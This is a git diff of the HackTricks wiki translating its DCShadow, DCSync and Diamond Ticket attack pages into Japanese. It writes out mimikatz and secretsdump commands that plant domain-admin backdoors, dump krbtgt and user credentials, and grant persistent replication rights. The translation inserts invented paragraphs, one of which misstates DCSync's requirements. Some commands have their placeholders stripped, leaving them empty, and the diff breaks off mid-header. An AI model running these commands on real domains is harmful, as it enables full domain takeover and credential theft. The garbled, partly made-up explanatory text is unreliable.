# DCShadow -It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\ -Note that if you use wrong data, pretty ugly logs will appear. +これは、ADに**新しいドメインコントローラ**を登録し、指定されたオブジェクトに対して**属性**(SIDHistory、SPNなど)を**ログを残さずに**追加するために使用されます。**DA権限**が必要で、**ルートドメイン**内にいる必要があります。\ +間違ったデータを使用すると、かなり醜いログが表示されます。 -To perform the attack you need 2 mimikatz instances. One of them will start the RPC servers with SYSTEM privileges (you have to indicate here the changes you want to perform), and the other instance will be used to push the values: +攻撃を実行するには、2つのmimikatzインスタンスが必要です。そのうちの1つは、SYSTEM特権でRPCサーバーを起動します(ここで行いたい変更を指定する必要があります)。もう1つのインスタンスは、値を追加するために使用されます: -{% code title="mimikatz1 (RPC servers)" %} +{% code title="mimikatz1(RPCサーバー)" %} ```bash !+ !processtoken lsadump::dcshadow /object:username /attribute:Description /value="My new description" ``` -{% endcode %} - -{% code title="mimikatz2 (push) - Needs DA or similar" %} +{% code title="mimikatz2(プッシュ)- DAまたは同等の権限が必要" %} ```bash lsadump::dcshadow /push ``` {% endcode %} -Notice that **`elevate::token`** won't work in mimikatz1 session as that elevated the privileges of the thread, but we need to elevate the **privilege of the process**.\ -You can also select and "LDAP" object: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` +**注意**:mimikatz1セッションでは**`elevate::token`**は機能しません。なぜなら、それはスレッドの特権を昇格させるものであり、プロセスの特権を昇格させる必要があるからです。\ +また、"LDAP"オブジェクトを選択することもできます:`/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` -You can push the changes from a DA or from a user with this minimal permissions: +これらの変更を行うためには、DAからまたは次の最小限の権限を持つユーザーから変更をプッシュすることができます: -* In the **domain object**: - * _DS-Install-Replica_ (Add/Remove Replica in Domain) - * _DS-Replication-Manage-Topology_ (Manage Replication Topology) - * _DS-Replication-Synchronize_ (Replication Synchornization) -* The **Sites object** (and its children) in the **Configuration container**: - * _CreateChild and DeleteChild_ -* The object of the **computer which is registered as a DC**: - * _WriteProperty_ (Not Write) -* The **target object**: - * _WriteProperty_ (Not Write) +* **ドメインオブジェクト**: +* _DS-Install-Replica_(ドメインのレプリカの追加/削除) +* _DS-Replication-Manage-Topology_(レプリケーショントポロジの管理) +* _DS-Replication-Synchronize_(レプリケーションの同期) +* **構成コンテナ**の**サイトオブジェクト**(およびその子): +* _CreateChild and DeleteChild_ +* **DCとして登録されているコンピュータのオブジェクト**: +* _WriteProperty_(Writeではない) +* **ターゲットオブジェクト**: +* _WriteProperty_(Writeではない) -You can use [**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1) to give these privileges to an unprivileged user (notice that this will leave some logs). This is much more restrictive than having DA privileges.\ -For example: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` This means that the username _**student1**_ when logged on in the machine _**mcorp-student1**_ has DCShadow permissions over the object _**root1user**_. +[**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1)を使用して、特権のないユーザーにこれらの特権を与えることができます(これにより一部のログが残ります)。これはDA特権を持つよりもはるかに制限されたものです。\ +例:`Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` これは、ユーザー名_**student1**_がマシン_**mcorp-student1**_にログインした場合、オブジェクト_**root1user**_に対してDCShadow権限を持つことを意味します。 -## Using DCShadow to create backdoors +## DCShadowを使用してバックドアを作成する -{% code title="Set Enterprise Admins in SIDHistory to a user" %} +{% code title="SIDHistoryにEnterprise Adminsを設定する" %} ```bash -lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 +lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 ``` -{% endcode %} - -{% code title="Chage PrimaryGroupID (put user as member of Domain Administrators)" %} +{% code title="プライマリグループIDの変更(ユーザーをドメイン管理者のメンバーに設定する)" %} ```bash lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519 ``` -{% endcode %} - -{% code title="Modify ntSecurityDescriptor of AdminSDHolder (give Full Control to a user)" %} +{% code title="AdminSDHolderのntSecurityDescriptorを変更する(ユーザーに完全な制御権を与える)" %} ```bash #First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519 (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl @@ -80,41 +72,39 @@ lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attr ``` {% endcode %} -## Shadowception - Give DCShadow permissions using DCShadow (no modified permissions logs) +## シャドウセプション - DCShadowを使用してDCShadowの権限を付与する(変更された権限ログなし) -We need to append following ACEs with our user's SID at the end: +次のACEをドメインオブジェクトの末尾にユーザーのSIDとともに追加する必要があります: -* On the domain object: - * `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` - * `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` - * `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` -* On the attacker computer object: `(A;;WP;;;UserSID)` -* On the target user object: `(A;;WP;;;UserSID)` -* On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)` +* ドメインオブジェクト上: +* `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` +* `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` +* `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` +* 攻撃者のコンピュータオブジェクト上:`(A;;WP;;;UserSID)` +* ターゲットユーザーオブジェクト上:`(A;;WP;;;UserSID)` +* 構成コンテナ内のサイトオブジェクト:`(A;CI;CCDC;;;UserSID)` -To get the current ACE of an object: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` +オブジェクトの現在のACEを取得するには:`(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` -Notice that in this case you need to make **several changes,** not just one. So, in the **mimikatz1 session** (RPC server) use the parameter **`/stack` with each change** you want to make. This way, you will only need to **`/push`** one time to perform all the stucked changes in the rouge server. +この場合、**複数の変更**を行う必要があるため、**mimikatz1セッション**(RPCサーバー)でパラメータ**`/stack`を使用して各変更**を行う必要があります。これにより、ローグサーバーでスタックされた変更をすべて実行するために、**`/push`**を1回だけ実行するだけで済みます。 -[**More information about DCShadow in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow) +[**ired.teamのDCShadowに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/active-directory-methodology/dcsync.md b/windows-hardening/active-directory-methodology/dcsync.md index 85b0c399a..8c6b8d0c2 100644 --- a/windows-hardening/active-directory-methodology/dcsync.md +++ b/windows-hardening/active-directory-methodology/dcsync.md @@ -3,8 +3,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,79 +12,101 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 ## DCSync -The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**. +**DCSync**権限は、ドメイン自体に対して次の権限を持つことを意味します:**DS-Replication-Get-Changes**、**Replicating Directory Changes All**、および**Replicating Directory Changes In Filtered Set**。 -**Important Notes about DCSync:** +**DCSyncに関する重要な注意事項:** -* The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled. -* By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges. -* If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text +* **DCSync攻撃は、ドメインコントローラの動作をシミュレートし、他のドメインコントローラに情報のレプリケーションを要求**します。これは、ディレクトリレプリケーションサービスリモートプロトコル(MS-DRSR)を使用するものであり、Active Directoryの有効で必要な機能であるため、オフまたは無効にすることはできません。 +* デフォルトでは、**Domain Admins、Enterprise Admins、Administrators、およびDomain Controllers**グループのみが必要な特権を持っています。 +* もし、任意のアカウントのパスワードが可逆暗号化で保存されている場合、Mimikatzにはパスワードを平文で返すオプションがあります。 -### Enumeration - -Check who has these permissions using `powerview`: +### 列挙 +`powerview`を使用してこれらの権限を持つユーザーをチェックします: ```powershell Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` +### ローカルでの攻撃 -### Exploit Locally +DCSyncは、Active Directory(AD)ドメインコントローラ(DC)からユーザーのハッシュを取得するための攻撃手法です。この攻撃手法を使用すると、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。 +DCSync攻撃を実行するためには、攻撃者はドメイン内の有効なユーザーアカウントを持つ必要があります。攻撃者は、攻撃対象のドメインコントローラに対して認証を行い、NTLMハッシュを取得します。 + +以下の手順に従って、DCSync攻撃をローカルで実行することができます。 + +1. 攻撃者は、攻撃対象のドメインコントローラに対して認証を行います。これには、有効なユーザーアカウントの資格情報が必要です。 + +2. 攻撃者は、攻撃対象のドメインコントローラに対してDCSync攻撃を実行します。これにより、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。 + +DCSync攻撃は、攻撃者がドメイン内のユーザーアカウントのハッシュを取得するための効果的な手法です。しかし、この攻撃手法を実行するためには、攻撃者が有効なユーザーアカウントの資格情報を持っている必要があります。 ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` +### リモートでの攻撃 -### Exploit Remotely +To exploit the DCSync attack remotely, you need to have remote code execution (RCE) or a compromised account on a domain-joined machine. Once you have gained access to a machine within the domain, you can use the `mimikatz` tool to perform the DCSync attack. +リモートでDCSync攻撃を行うには、リモートコード実行(RCE)またはドメインに参加しているマシン上の侵害されたアカウントが必要です。ドメイン内のマシンにアクセスできたら、`mimikatz`ツールを使用してDCSync攻撃を実行できます。 + +First, you need to download and execute `mimikatz` on the compromised machine. Then, you can use the following command to perform the DCSync attack: + +まず、侵害されたマシンに`mimikatz`をダウンロードして実行する必要があります。次に、以下のコマンドを使用してDCSync攻撃を実行できます。 + +```plaintext +mimikatz # lsadump::dcsync /user: +``` + +Replace `` with the username of the domain account you want to extract the credentials from. This command will retrieve the NTLM hash of the specified user's password from the domain controller. + +``を抽出したいドメインアカウントのユーザー名に置き換えてください。このコマンドは、指定したユーザーのパスワードのNTLMハッシュをドメインコントローラから取得します。 + +Once you have the NTLM hash, you can use various techniques to crack it and obtain the plaintext password. This allows you to impersonate the compromised user and gain unauthorized access to sensitive resources within the domain. + +NTLMハッシュを取得したら、さまざまな手法を使用してそれを解読し、平文のパスワードを取得できます。これにより、侵害されたユーザーをなりすまし、ドメイン内の機密リソースに不正アクセスすることができます。 ```powershell secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed [-history] #To dump password history, may be helpful for offline password cracking ``` +`-just-dc`は3つのファイルを生成します: - `-just-dc` generates 3 files: +* **NTLMハッシュ**を含むファイル +* **Kerberosキー**を含むファイル +* [**可逆暗号化**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption)が有効になっているNTDSのクリアテキストパスワードを含むファイル。可逆暗号化が有効なユーザーは次のコマンドで取得できます。 -* one with the **NTLM hashes** -* one withe the **Kerberos keys** -* one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) **** enabled. You can get users with reversible encryption with +```powershell +Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol +``` - ```powershell - Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol - ``` - -### Persistence - -If you are a domain admin, you can grant this permissions to any user with the help of `powerview`: +### 持続性 +ドメイン管理者であれば、`powerview`のヘルプを使用して、この権限を任意のユーザーに付与することができます。 ```powershell Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` - -Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field): - +次に、**ユーザーが正しく割り当てられているかどうかを確認**することができます。これには、以下の出力からそれらの特権の名前を見つける必要があります(特権の名前は「ObjectType」フィールド内に表示されます): ```powershell Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` +### 緩和策 -### Mitigation +* セキュリティイベントID 4662(オブジェクトの監査ポリシーが有効である必要があります)- オブジェクトに対して操作が実行されました +* セキュリティイベントID 5136(オブジェクトの監査ポリシーが有効である必要があります)- ディレクトリサービスオブジェクトが変更されました +* セキュリティイベントID 4670(オブジェクトの監査ポリシーが有効である必要があります)- オブジェクトのアクセス許可が変更されました +* AD ACLスキャナー - ACLの作成と比較を行い、レポートを作成します。 [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) -* Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object -* Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified -* Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed -* AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) - -## References +## 参考文献 * [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) * [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/) @@ -93,18 +115,18 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/windows-hardening/active-directory-methodology/diamond-ticket.md b/windows-hardening/active-directory-methodology/diamond-ticket.md index aa0b740c2..c1a4c5b9d 100644 --- a/windows-hardening/active-directory-methodology/diamond-ticket.md +++ b/windows-hardening/active-directory-methodology/diamond-ticket.md @@ -1,35 +1,34 @@ -# Diamond Ticket +# ダイヤモンドチケット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Diamond Ticket +## ダイヤモンドチケット -**Like a golden ticket**, a diamond ticket is a TGT which can be used to **access any service as any user**. A golden ticket is forged completely offline, encrypted with the krbtgt hash of that domain, and then passed into a logon session for use. Because domain controllers don't track TGTs it (or they) have legitimately issued, they will happily accept TGTs that are encrypted with its own krbtgt hash. +**金のチケット**のように、ダイヤモンドチケットは**任意のユーザーとして任意のサービスにアクセスするためのTGT**です。金のチケットは完全にオフラインで作成され、そのドメインのkrbtgtハッシュで暗号化され、ログオンセッションに渡されて使用されます。ドメインコントローラは、正当に発行されたTGTを追跡しないため、自身のkrbtgtハッシュで暗号化されたTGTを喜んで受け入れます。 -There are two common techniques to detect the use of golden tickets: +金のチケットの使用を検出するための2つの一般的な技術があります: -* Look for TGS-REQs that have no corresponding AS-REQ. -* Look for TGTs that have silly values, such as Mimikatz's default 10-year lifetime. +* 対応するAS-REQがないTGS-REQを探す。 +* Mimikatzのデフォルトの10年間の有効期限など、ばかげた値を持つTGTを探す。 -A **diamond ticket** is made by **modifying the fields of a legitimate TGT that was issued by a DC**. This is achieved by **requesting** a **TGT**, **decrypting** it with the domain's krbtgt hash, **modifying** the desired fields of the ticket, then **re-encrypting it**. This **overcomes the two aforementioned shortcomings** of a golden ticket because: - -* TGS-REQs will have a preceding AS-REQ. -* The TGT was issued by a DC which means it will have all the correct details from the domain's Kerberos policy. Even though these can be accurately forged in a golden ticket, it's more complex and open to mistakes. +**ダイヤモンドチケット**は、**DCによって発行された正規のTGTのフィールドを変更することで作成**されます。これは、TGTを要求し、ドメインのkrbtgtハッシュで復号化し、チケットの必要なフィールドを変更し、それを再度暗号化することで実現されます。これにより、ダイヤモンドチケットは以下の金のチケットの欠点を克服します: +* TGS-REQには前のAS-REQが存在します。 +* TGTはDCによって発行されたものであり、ドメインのKerberosポリシーのすべての正しい詳細を持っています。金のチケットではこれらを正確に偽造することができますが、より複雑でミスの余地があります。 ```bash # Get user RID powershell Get-DomainUser -Identity -Properties objectsid @@ -40,9 +39,8 @@ powershell Get-DomainUser -Identity -Properties objectsid # /ticketuser is the username of the principal to impersonate. # /ticketuserid is the domain RID of that principal. # /groups are the desired group RIDs (512 being Domain Admins). -# /krbkey is the krbtgt AES256 hash. +# /krbkey is the krbtgt AES256 hash. ``` - \ @@ -54,14 +52,14 @@ powershell Get-DomainUser -Identity -Properties objectsid ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/active-directory-methodology/dsrm-credentials.md b/windows-hardening/active-directory-methodology/dsrm-credentials.md index 